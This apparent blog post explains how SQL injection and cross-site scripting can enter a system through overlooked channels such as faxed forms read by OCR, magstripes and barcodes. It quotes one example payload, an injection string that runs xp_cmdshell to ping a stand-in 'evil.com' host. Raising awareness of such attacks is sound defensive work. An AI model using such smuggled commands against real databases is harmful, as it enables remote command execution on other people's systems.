So, you know and expect that attackers are going to try stuffing whatever kind of cross-site scripting, SQL, or anything else, into your web-based forms. You have taken the appropriate measures, input filtering, stored procedures, detection, etc. But what if your organization has other methods that users can input data? Perhaps you’re trying to automate some of your “in real life” input processes, such as mailed or faxed forms, magstripes, or maybe even high-density barcodes. My eyes opened to this, hearing Ed Skoudis talk about it, the only reference to which I can find here:
What new tactics can prevent cross-site scripting attacks?
Especially this bit:
Some enticing targets include magnetic stripes, Electronic Data Interchange feeds and paper-based postal mail that gets scanned in and converted via OCR.
The best part of the the discussion during the SANS 504 training was the description of carefully filling out, if I recall correctly, magazine subscription cards, with various forms of cross-site scripting. I found myself expanding out another scenario in a discussion about the security risks involved with fax machines. Of course, the thread was originally about the feasibility of a “virus” using fax transmissions as a propagation method (specifically, malicious macro code attached to a document). That was a bit silly, of course, as many others pointed out, but I felt the need to point out how such non-obvious input mechanisms could be a threat, if someone had one of these mechanisms as part of an automated process, and haven’t taken the same sort of measures they had taken with web-based input (say, if they had just read a thread of discussion that completely discredited a fax as an attack vector).
I may have been a bit off-topic in the context of the original question, but I think the results were useful for a wider audience. I’ll leave you with the scenario I proposed, edited a bit since it’s out of the context of the discussion as it progressed (I was accused of spreading “FUD” 
):
I do think there are other avenues of attack one should look at in a system where incoming faxes are treated as input data, and that is what my intention was with my previous email.
Once that document has gone through the analog-scan-to-digitization-thru-transmission-noise-and-back-out-the-other-end procedure, what you wind up with, as was very well, is a digital representation of what the document “looked” like. It’s all a bitmapped image at this point and as long as the purpose is for someone to read over it, human eyes and printers and such, then that’s how it’ll likely stay.
That said, there’s the temptation at this point to want to convert this back to machine-parse-able data. Say, for example, we’re accepting faxed requests for service manuals. Lots of folks are sending us faxes of a form that we have them fill out, specifying part #, name, whether they want it mailed or faxed back, etc. OCR software’s pretty good, and we’ve got an especially good situation for it when we have some expectation of what we’re getting is supposed to look like (form with nicely laid out fields, “please print clearly”, maybe even tick marks to separate characters). The faxing process mangles our document a bit, but nothing a well tweaked OCR solution couldn’t deal with.
So, at this point, we could happily process these incoming faxes with some degree of automation, reading the part numbers, faxing back manuals or putting orders into a database to be fulfilled. Let’s see where the next one wants to be shipped to: “hax’; exec xp_cmdshell ‘ping+lol.evil.com’”… (or whatever sort of injection you want to perform. Maybe someone views the data in a html-rendering environment and you want to web bug or cross-site-script them.)
It’s the same attack, just a different entry-point. However, with all the documentation on cross-site scripting, SQL injection, and other sorts of attacks being so web-centric, there’s a high probability that some haven’t thought of how these apply to other forms of input.
Recent Comments